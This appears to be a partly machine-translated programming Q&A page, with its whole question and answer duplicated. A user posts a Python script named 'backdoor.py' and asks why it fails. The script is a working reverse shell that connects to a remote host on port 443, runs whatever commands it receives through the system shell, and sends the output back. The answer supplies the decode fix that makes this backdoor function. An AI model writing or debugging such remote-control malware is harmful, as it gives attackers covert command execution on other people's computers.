Python3.5 TypeError: argument of type 'int' is not iterable Backdoor
Python3.5 TypeError: argument of type 'int' is not iterable Backdoor
Python3.5 类型错误:'int' 类型的参数不可迭代后门
我收到这个错误:
Traceback (most recent call last):
File "E:\Users\x\Desktop\backdoor.py", line 13, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 950, in __init__
restore_signals, start_new_session)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 1194, in _execute_child
args = list2cmdline(args)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 754, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
每次我 运行 时,连接并在我的控制台中输入 IP 配置。这是脚本:
#!/usr/bin/python
import socket,subprocess
HOST = '192.168.1.13'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(('[*] Connection Established!').encode())
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send((stdoutput).encode())
s.close()
您正在从套接字读取二进制数据,然后将其视为字符串对象。就像发送数据需要 .encode()
一样,读取数据(作为字符串)需要 .decode()
.
data = s.recv(1024).decode()
Python3.5 类型错误:'int' 类型的参数不可迭代后门
我收到这个错误:
Traceback (most recent call last):
File "E:\Users\x\Desktop\backdoor.py", line 13, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 950, in __init__
restore_signals, start_new_session)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 1194, in _execute_child
args = list2cmdline(args)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 754, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
每次我 运行 时,连接并在我的控制台中输入 IP 配置。这是脚本:
#!/usr/bin/python
import socket,subprocess
HOST = '192.168.1.13'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(('[*] Connection Established!').encode())
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send((stdoutput).encode())
s.close()
您正在从套接字读取二进制数据,然后将其视为字符串对象。就像发送数据需要 .encode()
一样,读取数据(作为字符串)需要 .decode()
.
data = s.recv(1024).decode()